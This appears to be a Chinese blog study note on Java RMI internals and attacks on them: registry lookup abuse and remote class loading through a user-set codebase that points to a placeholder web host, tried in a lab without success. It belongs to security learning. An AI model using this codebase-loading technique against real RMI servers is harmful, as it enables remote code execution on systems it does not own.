【学习笔记】Java安全之RMI

最近在看Phith0n师傅的知识星球的Java安全漫谈系列,随手记下笔记

RMI全称远程方法调用(Remote Method Invocation)。这是允许驻留在一个系统(JVM)中的对象调用在另一个JVM上运行的对象的一种机制,能够远程调用远程对象的方法。

RMI通信过程、原理

我们首先来分析下RMI的流程:

首先编写一个RMI Server

package RMI_Test;

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {
    public interface IRemoteHelloWorld extends Remote {
        public String hello() throws RemoteException;
    }

    public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld {
        protected RemoteHelloWorld() throws RemoteException {
            super();
        }

        public String hello() throws RemoteException {
            System.out.println("call from");
            return "Hello, World";
        }
    }

    private void start() throws Exception {
        RemoteHelloWorld h = new RemoteHelloWorld();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
    }

    public static void main(String[] args) throws Exception {
        new RMIServer().start();
    }
}

一个RMI Server的过程分为以下三个步骤:

  • 首先继承了java.rmi.Remote的接口,其中定义需要远程调用的方法,例如这里的hello()
  • 其次需要使用java.rmi.Remote的接口
  • 定义一个主类,用来创建Registry,并将上面的类实例化后绑定到一个地址

接着编写一个RMI Client:

package RMI_Test;

import java.rmi.Naming;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld) Naming.lookup("rmi://192.168.7.2:1099/Hello");
        String ret = hello.hello();
        System.out.println(ret);
    }
}

客户端使用Naming.lookupRegistry中寻找到名字是Hello的对象,这里虽说是执行远程方法的时候代码是在远程服务器上执行的,但实际上还是需要知道有哪些方法,这时候接口的重要性就体现了,这也是为什么需要继承Remote并将我们需要调用的方法写在接口IRemoteHelloWorld里,因为客户端也需要用到这个接口。

这里使用WrireShark抓包来分析理解RMI的通信过程:

选择回环口
在这里插入图片描述

在这里插入图片描述

这就是RMI完整的通信过程,可以发现整个过程进行了两次TCP握手,也就是建立了两次TCP连接

第一次建立TCP连接是连接到远端192.168.135.1421099端口,这也是服务端设置的端口(1099是RMI通信的默认端口),连接后客户端向远端发送了一个Call消息,远端回复了一个ReturnData消息,然后客户端新建了一个TCP连接到远端的24641端口

那么为什么会连接24641端口呢?,在ReturnData这个包中,返回了目标的IP地址192.168.7.2,其后的两个字节就是24641的十六进制:

>>> int("6041", 16)
24641

在这里插入图片描述

这段数据从ac ed开始往后就是Java序列化数据了,IP和端口只是这个对象的一部分,捋一捋这整个过程:

  • 首先客户端连接Registry,并在其中寻找Name是Hello的对象,这个对应数据流中的Call消息;然后Registry返回一个序列化数据,这个就是找到的Name=Hello的对象,这个对应数据流中的ReturnData消息;客户端反序列化该对象,发现该对象是一个远程对象,地址在192.168.7.2:24641,于是再与这个地址建立TCP连接,在这个新的连接中,才执行真正的方法调用,也就是hello()

在这里插入图片描述
RMI Registry就像一个网关,它自己是不会执行远程方法的,但是RMI Server可以在上面注册一个Name到对象的绑定关系RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI Server;最后,远程方法实际上在RMI Server上调用。

接下来来看下RMI的底层架构是如何实现的:

在这里插入图片描述

RMI底层通讯采用了Stub(运行在客户端)Skeleton(运行在服务端)机制,RMI调用远程方法的底层通讯大致如下:

  1. RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)
  2. Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象
  3. RemoteCall序列化RMI服务名称Remote对象
  4. RMI客户端远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端远程引用层
  5. RMI服务端远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
  6. Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化
  7. Skeleton处理客户端请求:bindlistlookuprebindunbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端
  8. RMI客户端反序列化服务端结果,获取远程对象的引用
  9. RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端
  10. RMI客户端反序列化RMI远程方法调用结果

如何攻击RMI Registry?

首先,RMI Registry是一个远程对象管理的地方,可以理解为一个远程对象的”后台“,当我们尝试直接访问”后台“功能,如果尝试直接访问”后台“功能,会出现报错,因为Java对远程访问RMI Registry做了限制,只有来源地址是localhost的时候,才能调用rebindbindunbind等方法,不过listlookup方法可以远程调用。

lookup的作用就是获取某个远程对象,那么只要目标服务器上存在一些危险方法,我们就可以通过RMI对其进行调用,例如工具:https://github.com/NickstaDB/BaRMIe,其中一个功能就是进行危险方法的探测。

RMI利用codebase执行任意代码

Applet是采用Java编程语言编写的小应用程序,该程序可以包含在 HTML(标准通用标记语言的一个应用)页中,与在页中包含图像的方式大致相同。含有Applet的网页的HTML文件代码中部带有<applet></applet>这样一对标记,当支持Java的网络浏览器遇到这对标记时,就将下载相应的小应用程序代码并在本地计算机上执行该Applet。

<applet code="HelloWorld.class" codebase="Applets" width="800" height="600"></applet>

在使用Applet的时候通常需要指定一个codebase属性,而RMI在远程加载的场景中,也会涉及到codebasecodebase是一个地址,告诉Java虚拟机前往指定的地址搜索类,类似CLASSPATH,但是CLASSPATH是本地路径,而codebase通常是远程URL

例如指定codebase=http://example.com/,然后加载org.vulhub.example.Example类,则Java虚拟机会下载这个文件http://example.com/org/vulhub/example/Example.class,并作为Example类的字节码

在RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就回去寻找类,如果某一段反序列化时发现一个对象,那么就回去本地CLASSPATH下寻找相对应的类;如果在本地没有找到这个类,就会去远程加载codebase中的类。

如果控制了codebase,就可以加载自己构造的恶意类,可以将codebase随着序列化数据一起传输,服务器在接收到这个数据后就会去CLASSPATH和指定的codebase寻找类,导致RCE

不过需要满足如下条件的RMI服务器才能被攻击:

  • 安装并配置了SecurityManager
  • Java版本低于7u216u45或者设置了java.rmi.server.useCodebaseOnly=false
    其中java.rmi.server.useCodebaseOnly是在Java 7u216u45的时候修改的一个默认配置,官方将java.rmi.server.useCodebaseOnly的默认值由false改为了true。在java.rmi.server.useCodebaseOnly配置为true的情况下,Java虚拟机将只信任预先配置好的codebase,不再支持从RMI请求中获取。

这里Phith0n师傅提供了一个案例:
服务端:

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;

public interface ICalc extends Remote {
    public Integer sum(List<Integer> params) throws RemoteException;
}
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;

public class Calc extends UnicastRemoteObject implements ICalc {
    public Calc() throws RemoteException {}

    public Integer sum(List<Integer> params) throws RemoteException {
        Integer sum = 0;
        for (Integer param : params) {
            sum += param;
        }
        return sum;
    }
}
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RemoteRMIServer {
    private void start() throws Exception {
        if (System.getSecurityManager() == null) {
            System.out.println("setup SecurityManager");
            System.setSecurityManager(new SecurityManager());
        }

        Calc h = new Calc();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("refObj", h);
    }

    public static void main(String[] args) throws Exception {
        new RemoteRMIServer().start();
    }
}

client.policy,放在jdk1.8.0_341\jre\lib\security\下,不过运行的时候最好用绝对路径

grant {
	permission java.security.AllPermission;
};

运行

javac *.java
java -Djava.rmi.server.hostname=192.168.135.142 -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy RemoteRMIServer

客户端

import java.io.Serializable;
import java.rmi.Naming;
import java.util.ArrayList;
import java.util.List;

public class RMIClient implements Serializable {
    public class Payload extends ArrayList<Integer> {}

    public void lookup() throws Exception {
        ICalc r = (ICalc) Naming.lookup("rmi://192.168.50.3:1099/refObj");
        List<Integer> li = new Payload();
        li.add(3);
        li.add(4);

        System.out.println(r.sum(li));
    }

    public static void main(String[] args) throws Exception {
        new RMIClient().lookup();
    }
}

这个Client我们需要在另一个位置运行,因为我们需要让RMI Server在本地CLASSPATH里找不到类,才
会去加载codebase中的类,所以不能将RMIClient.java放在RMI Server所在的目录中。

java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ RMIClient

我们只需要编译一个恶意类,将其class文件放置在Web服务器的/RMIClient$Payload.class即可。

不过我这里并没有执行成功,尝试过很多解决方法都不行(java版本问题,classpath问题,目录问题都尝试过),如果有师傅这一步能成功加载到codebase的,希望通过以下联系方式加个好友,想请教下,谢谢

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Java并发编程 背景介绍 并发历史 必要性 进程 资源分配的最小单位 线程 CPU调度的最小单位 线程的优势 (1)如果设计正确,多线程程序可以通过提高处理器资源的利用率来提升系统吞吐率 (2)建模简单:通过使用线程可以讲复杂并且异步的工作流进一步分解成一组简单并且同步的工作流,每个工作流在一个单独的线程中运行,并在特定的同步位置交互 (3)简化异步事件的处理:服务器应用程序在接受来自多个远程客户端的请求时,如果为每个连接都分配一个线程并且使用同步IO,就会降低开发难度 (4)用户界面具备更短的响应时间:现代GUI框架中大都使用一个事件分发线程(类似于中断响应函数)来替代主事件循环,当用户界面用有事件发生时,在事件线程中将调用对应的事件处理函数(类似于中断处理函数) 线程的风险 线程安全性:永远不发生糟糕的事情 活跃性问题:某件正确的事情迟早会发生 问题:希望正确的事情尽快发生 服务时间过长 响应不灵敏 吞吐率过低 资源消耗过高 可伸缩性较低 线程的应用场景 Timer 确保TimerTask访问的对象本身是线程安全的 Servlet和JSP Servlet本身要是线程安全的 正确协同一个Servlet访问多个Servlet共享的信息 远程方法调用(RMI) 正确协同多个对象中的共享状态 正确协同远程对象本身状态的访问 Swing和AWT 事件处理器与访问共享状态的其他代码都要采取线程安全的方式实现 框架通过在框架线程中调用应用程序代码将并发性引入应用程序,因此对线程安全的需求在整个应用程序中都需要考虑 基础知识 线程安全性 定义 当多个线程访问某个类时,这个类始终能表现出正确的行为,那么就称这个类是线程安全的 无状态对象一定是线程安全的,大多数Servlet都是无状态的 原子性 一组不可分割的操作 竞态条件 基于一种可能失效的观察结果来做出判断或执行某个计算 复合操作:执行复合操作期间,要持有锁 锁的作用 加锁机制、用锁保护状态、实现共享访问 锁的不恰当使用可能会引起程序性能下降 对象的共享使用策略 线程封闭:线程封闭的对象只能由一个线程拥有并修改 Ad-hoc线程封闭 栈封闭 ThreadLocal类 只读共享:不变对象一定是线程安全的 尽量将域声明为final类型,除非它们必须是可变的 分类 不可变对象 事实不可变对象 线程安全共享 封装有助于管理复杂度 线程安全的对象在其内部实现同步,因此多个接口可以通过公有接口来进行访问 保护对象:被保护的对象只能通过特定的锁来访问 将对象封装到线程安全对象中 由特定锁保护 保护对象的方法 对象的组合 设计线程安全的类 实例封闭 线程安全的委托 委托是创建线程安全类的最有效策略,只需要让现有的线程安全类管理所有的状态 在现有线程安全类中添加功能 将同步策略文档化 基础构建模块 同步容器类 分类 Vector Hashtable 实现线程安全的方式 将状态封装起来,对每个公有方法都进行同步 存在的问题 复合操作 修正方式 客户端加锁 迭代器 并发容器 ConcurrentHashMap 用于替代同步且基于散列的Map CopyOnWriteArrayList 用于在遍历操作为主要操作的情况下替代同步的List Queue ConcurrentLinkedQueue *BlockingQueue 提供了可阻塞的put和take方法 生产者-消费者模式 中断的处理策略 传递InterruptedException 恢复中断,让更高层的代码处理 PriorityQueue(非并发) ConcurrentSkipListMap 替代同步的SortedMap ConcurrentSkipListSet 替代同步的SortedSet Java 5 Java 6 同步工具类 闭锁 *应用场景 (1)确保某个计算在其需要的所有资源都被初始化后才能继续执行 (2)确保某个服务在其所依赖的所有其他服务都已经启动之后才启动 (3)等待知道某个操作的所有参与者都就绪再继续执行 CountDownLatch:可以使一个或多个线程等待一组事件发生 FutureTask *应用场景 (1)用作异步任务使用,且可以使用get方法获取任务的结果 (2)用于表示一些时间较长的计算 状态 等待运行 正在运行 运行完成 使用Callable对象实例化FutureTask类 信号量(Semaphore) 用来控制同时访问某个特定资源的操作数量,或者同时执行某个指定操作的数量 管理者一组虚拟的许可。acquire获得许可(相当于P操作),release释放许可(相当于V操作) 应用场景 (1)二值信号量可用作互斥体(mutex) (2)实现资源池,例如数据库连接池 (3)使用信号量将任何一种容器变成有界阻塞容器 栅栏 能够阻塞一组线程直到某个事件发生 栅栏和闭锁的区别 所有线程必须同时到达栅栏位置,才能继续执行 闭锁用于等待事件,而栅栏用于等待线程 栅栏可以重用 形式 CyclicBarrier 可以让一定数量的参与线程反复地在栅栏位置汇集 应用场景在并行迭代算法中非常有用 Exchanger 这是一种两方栅栏,各方在栅栏位置上交换数据。 应用场景:当两方执行不对称的操作(读和取) 线程池 任务与执行策略之间的隐形耦合 线程饥饿死锁 运行时间较长的任务 设置线程池的大小 配置ThreadPoolExecutor 构造参数 corePoolSize 核心线程数大小,当线程数= corePoolSize的时候,会把runnable放入workQueue中 如果队列满了,而且正在运行的线程数量大于或等于 maximumPoolSize,那么线程池会抛出异常,告诉调用者“我不能再接受任务了” keepAliveTime 保持存活时间,当线程数大于corePoolSize的空闲线程能保持的最大时间。 workQueue 保存任务的阻塞队列 如果正在运行的线程数量大于或等于 corePoolSize,那么将这个任务放入队列。如果这时候队列满了,而且正在运行的线程数量小于 maximumPoolSize,那么还是要创建线程运行这个任务 threadFactory 创建线程的工厂 handler 拒绝策略 unit 是一个枚举,表示 keepAliveTime 的单位(有NANOSECONDS, MICROSECONDS, MILLISECONDS, SECONDS, MINUTES, HOURS, DAYS,7个可选值 线程的创建与销毁 管理队列任务 饱和策略 AbortPolicy DiscardPolicy DiscardOldestPolicy CallerRunsPolicy 线程工厂 在调用构造函数后再定制ThreadPoolExecutor 扩展 ThreadPoolExecutor afterExecute(Runnable r, Throwable t) beforeExecute(Thread t, Runnable r) terminated 递归算法的并行化 构建并发应用程序 任务执行 在线程中执行任务 清晰的任务边界以及明确的任务执行策略 任务边界 大多数服务器以独立的客户请求为界 在每个请求中还可以发现可并行的部分 任务执行策略 在什么(What)线程中执行任务? 任务按照什么(What)顺序执行(FIFO、LIFO、优先级)? 有多少个(How Many)任务能并发执行? 在队列中有多少个(How Many)任务在等待执行? 如果系统由于过载而需要拒绝一个任务,那么应该选择哪一个(Which)任务?另外,如何(How)通知应用程序有任务被拒绝? 在执行一个任务之前或之后,应该进行什么(What)动作? 使用Exector框架 线程池 newFixedThreadPool(固定长度的线程池) newCachedThreadPool(不限规模的线程池) newSingleThreadPool(单线程线程池) newScheduledThreadPool(带延迟/定时的固定长度线程池) 具体如何使用可以查看JDK文档 找出可利用的并行性 某些应用程序中存在比较明显的任务边界,而在其他一些程序中则需要进一步分析才能揭示出粒度更细的并行性 任务的取消和关闭 任务取消 停止基于线程的服务 处理非正常的线程终止 JVM关闭 线程池的定制化使用 任务和执行策略之间的隐性耦合 线程池的大小 配置ThreadPoolExecutor(自定义的线程池) 此处需要注意系统默认提供的线程池是如何配置的 扩展ThreadPoolExector GUI应用程序探讨 活跃度(Liveness)、性能、测试 避免活跃性危险 死锁 锁顺序死锁 资源死锁 动态的锁顺序死锁 开放调用 在协作对象之间发生的死锁 死锁的避免与诊断 支持定时的显示锁 通过线程转储信息来分析死锁 其他活跃性危险 饥饿 要避免使用线程优先级,因为这会增加平台依赖性,并可能导致活跃性问题。在大多数并发应用程序中,都可以使用默认的线程优先级。 糟糕的响应性 如果由其他线程完成的工作都是后台任务,那么应该降低它们的优先级,从而提高前台程序的响应性。 活锁 要解决这种活锁问题,需要在重试机制中引入随机性(randomness)。为了避免这种情况发生,需要让它们分别等待一段随机的时间 性能与可伸缩性 概念 运行速度(服务时间、延时) 处理能力(吞吐量、计算容量) 可伸缩性:当增加计算资源时,程序的处理能力变强 如何提升可伸缩性 Java并发程序中的串行,主要来自独占的资源锁 优化策略 缩
Java RMI(远程方法调用)是Java语言中的一项技术,可以让分散在不同计算机上的程序之间进行远程通信。Java RMI使用Java的序列化机制来传递消息和参数,并通过Java虚拟机(JVM)来实现对远程对象的调用。对于数据库应用而言,Java RMI可以通过网络将客户端与服务器连接起来,并提供一种基于Java的分布式数据库交互方式。 使用Java RMI来连接数据库,可以使得客户端和服务器端的计算机分别处于不同的地点,甚至可以位于不同的城市、不同的国家或不同的大洲。这种分布式的架构使得客户端在终端上只需要安装少量的软件,并且大部分工作都由服务器端完成。同时,Java RMI提供了良好的安全性和稳定性,可以保证数据的安全性和完整性。 对于Java RMI连接数据库的实现,需要涉及到几个方面的知识点。首先是Java的JDBC技术,通过JDBC可以实现对于数据库的访问操作。其次是Java RMI的远程调用机制,需要实现远程对象(Remote Object)的创建。在客户端和服务器端之间建立连接后,客户端可以通过远程对象来调用服务器端提供的操作,并将数据从客户端传递到服务器端进行处理。 总的来说,Java RMI 数据库架构的实现可以为企业提供便捷的分布式数据库操作服务,提高数据安全性和稳定性,并且可以支持异构系统之间的数据共享和集成。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末 初

谢谢老板!

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值